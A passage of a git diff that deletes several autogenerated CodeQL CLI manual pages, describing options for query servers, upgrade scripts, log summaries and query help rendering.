-`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options to control QL compilation - -#### `--warnings=<mode>` - -How to handle warnings from the QL compiler. One of: - -`hide`: Suppress warnings. - -`show` _(default)_: Print warnings but continue with compilation. - -`error`: Treat warnings as errors. - -#### `--no-debug-info` - -Don't emit source location info in RA for debugging. - -#### `--[no-]fast-compilation` - -\[Deprecated] \[Advanced] Omit particularly slow optimization steps. - -#### `--no-release-compatibility` - -\[Advanced] Use the newest compiler features, at the cost of -portability. - -From time to time, new QL language features and evaluator optimizations -will be supported by the QL evaluator a few releases before they are -enabled by default in the QL compiler. This helps ensure that the -performance you experience when developing queries in the newest CodeQL -release can be matched by slightly older releases that may still be in -use for Code Scanning or CI integrations. - -If you do not care about your queries being compatible with other -(earlier or later) CodeQL releases, you can sometimes achieve a small -amount of extra performance by using this flag to enable recent -improvements in the compiler early. - -In releases where there are no recent improvements to enable, this -option silently does nothing. Thus it is safe to set it once and for all -in your global CodeQL config file. - -Available since `v2.11.1`. - -#### `--[no-]local-checking` - -Only perform initial checks on the part of the QL source that is used. - -#### `--no-metadata-verification` - -Don't check embedded query metadata in QLDoc comments for validity. - -#### `--compilation-cache-size=<MB>` - -\[Advanced] Override the default maximum size for a compilation cache -directory. - -#### `--fail-on-ambiguous-relation-name` - -\[Advanced] Fail compilation if an ambiguous relation name is generated -during compilation. - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/execute-query-server.md b/content/code-security/codeql-cli/codeql-cli-manual/execute-query-server.md deleted file mode 100644 index 8bf0102f9376..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/execute-query-server.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: execute query-server -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Support for running queries from IDEs.' -redirect_from: - - /code-security/codeql-cli/manual/execute-query-server ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql execute query-server <options>... -``` - -## Description - -\[Deprecated] \[Plumbing] Support for running queries from IDEs. - -The -[codeql execute query-server](/code-security/codeql-cli/codeql-cli-manual/execute-query-server) subcommand is unsupported and no longer works. If you are using the official CodeQL extension for Visual Studio Code, please upgrade the extension to 1.7.6 or a later version. Otherwise please migrate your CodeQL IDE integration to the `codeql execute query-server2` subcommand. - -## Options - -### Primary Options - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/execute-query-server2.md b/content/code-security/codeql-cli/codeql-cli-manual/execute-query-server2.md deleted file mode 100644 index 47d1121205d6..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/execute-query-server2.md +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: execute query-server2 -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Support for running queries from IDEs.' -redirect_from: - - /code-security/codeql-cli/manual/execute-query-server2 ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql execute query-server2 [--threads=<num>] <options>... -``` - -## Description - -\[Plumbing] Support for running queries from IDEs. - -This command is only relevant for authors of QL language extensions for -IDEs. It is started by the IDE plugin in the background and communicates -with it through a special protocol on its standard input and output -streams. - -Available since `v2.10.11`. - -## Options - -### Primary Options - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - -`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -#### `--search-path=<dir>[:<dir>...]` - -This works like the similar option to [codeql query compile](/code-security/codeql-cli/codeql-cli-manual/query-compile) (q.v.). - -There are no `--additional-packs` or `--library-path` options, as the -corresponding values are provided per query - -(Note: On Windows the path separator is `;`). - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/execute-upgrades.md b/content/code-security/codeql-cli/codeql-cli-manual/execute-upgrades.md deleted file mode 100644 index 0c4d37afdcd6..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/execute-upgrades.md +++ /dev/null @@ -1,284 +0,0 @@ ---- -title: execute upgrades -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Run upgrade scripts on an existing raw QL dataset.' -redirect_from: - - /code-security/codeql-cli/manual/execute-upgrades ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql execute upgrades [--threads=<num>] <options>... -- <dataset> <script>... -``` - -## Description - -\[Plumbing] Run upgrade scripts on an existing raw QL dataset. - -This command runs a particular sequence of upgrade scripts against the -dataset. It is the caller's responsibility that the "old" dbscheme of -each upgrade script matches the "new" dbscheme of the previous script -(or, for the first script, the current dbscheme of the dataset). If not, -an error will be reported. - -## Options - -### Primary Options - -#### `<dataset>` - -\[Mandatory] Path to the raw QL dataset to upgrade. - -#### `<script>...` - -\[Mandatory] Paths to upgrade scripts to execute. (Each upgrade script -is a directory containing several files that define an upgrade -operation). They must be given in the order they are to be applied. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options to control evaluation of upgrade queries - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - -`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/generate-extensible-predicate-metadata.md b/content/code-security/codeql-cli/codeql-cli-manual/generate-extensible-predicate-metadata.md deleted file mode 100644 index f51e55cde0f7..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/generate-extensible-predicate-metadata.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: generate extensible-predicate-metadata -intro: |- - [Experimental] [Deep plumbing] Report the extensible predicates - found in the given pack. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli ---- - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql generate extensible-predicate-metadata <options>... -- <pack-root-dir> -``` - -## Description - -\[Deep plumbing] Report the extensible predicates found in the given -pack. - -## Options - -### Primary Options - -#### `<pack-root-dir>` - -\[Mandatory] The pack root directory for which we are reporting -extensible predicate metadata. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/generate-log-summary.md b/content/code-security/codeql-cli/codeql-cli-manual/generate-log-summary.md deleted file mode 100644 index 824a50f1f645..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/generate-log-summary.md +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: generate log-summary -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Advanced] Create a summary of a structured log file.' -redirect_from: - - /code-security/codeql-cli/manual/generate-log-summary ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql generate log-summary <options>... -- <input> <result> -``` - -## Description - -\[Advanced] Create a summary of a structured log file. - -This command creates a summary of a structured JSON evaluator event log. -The output of this command aims to be more stable across different -versions of the CLI than the log files themselves. Thus, when -implementing a script that uses output from the logs, it is strongly -recommended to run this command and use its output rather than using the -event logs directly. - -## Options - -### Primary Options - -#### `<input>` - -\[Mandatory] Path to the event log file to produce a summary of. - -#### `<result>` - -Path to the location to output the summarised log file to. If this -omitted, then the summary will be output to stdout. - -#### `--minify-output` - -Where applicable, omit whitespace in the outputted summary. The result -will be less human-readable but take up less memory. This option only -has an effect for some output formats. - -#### `--utc` - -\[Advanced] Certain timestamps in the summaries produced by this -command may use the local timezone of the machine they are running on. -Enabling this flag forces all timestamps to be UTC. - -#### `--format=<format>` - -Control the format of the output produced. - -`predicates` _(default)_: Produce a summary of the computation performed -for each predicate. This will be a stream of JSON objects separated -either by two newline characters (by default) or one if the -`--minify-output` option is passed. - -`text`: Produce a human-readable summary of the evaluation run. - -`overall`: Produce a JSON file containing some overall information about -the evaluation run, including some summary statistics and information -about the most time-consuming evaluations that were performed. - -#### `--[no-]deduplicate-stage-summaries` - -\[Advanced] This option only works in conjunction with the text format. -If passed, this will result in the summary tables containing the most -expensive predicates not being repeated for stages that are shared -between queries. This has the side-effect of moving all the summary -tables to the end of the log, rather than having the ones for each query -appear at the point when that query finished. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/generate-query-help.md b/content/code-security/codeql-cli/codeql-cli-manual/generate-query-help.md deleted file mode 100644 index 57a249970728..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/generate-query-help.md +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: generate query-help -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Generate end-user query help from .qhelp files. -redirect_from: - - /code-security/codeql-cli/manual/generate-query-help ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql generate query-help --format=<format> [--output=<dir|file>] <options>... -- <qhelp|mdhelp|query|dir|suite>... -``` - -## Description - -Generate end-user query help from .qhelp files. - -## Options - -### Primary Options - -#### `<qhelp|mdhelp|query|dir|suite>...` - -\[Mandatory] Query help files to render. Each argument is one of: - -* A .qhelp file to render. -* A .md file to render. -* A .ql file with a corresponding .qhelp or .md file to render. -* A directory that will be searched recursively for .ql files with - corresponding .qhelp or .md files. -* A .qls file that defines a particular set of queries. -* The basename of a "well-known" .qls file exported by one of the - installed QL packs. - -#### `--format=<format>` - -\[Mandatory] The format in which to render the documentation. One of: - -`markdown`: GitHub flavored markdown. - -`sarif-latest`: Static Analysis Results Interchange Format (SARIF), a -JSON-based format for describing static analysis results. This format -option uses the most recent supported version (v2.1.0). This option is -not suitable for use in automation as it will produce different versions -of SARIF between different CodeQL versions. - -`sarifv2.1.0`: SARIF v2.1.0. - -#### `-o, --output=<dir|file>` - -A path to write the rendered documentation to. Usually this is a -directory into which the rendered output will be written. - -If only a single .qhelp or .ql file is provided, and no directory exists -at the output path, the output will be written to a single file at that -path. - -If no output path is provided, only a single .qhelp or .ql file will be -accepted, and the output will be written to stdout. - -If an output directory is used, filenames _within_ the output directory -will be derived from the .qhelp file names. - -#### `--warnings=<mode>` - -How to handle warnings from the query help renderer. One of: - -`hide`: Suppress warnings. - -`show` _(default)_: Print warnings but continue with rendering. - -`error`: Treat warnings as errors. - -#### `--no-sarif-minify` - -\[SARIF formats only] Produce pretty-printed SARIF output. By default, -SARIF output is minified to reduce the size of the output file. - -### Options for finding QL packs (which may be necessary to resolve query suites) - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass 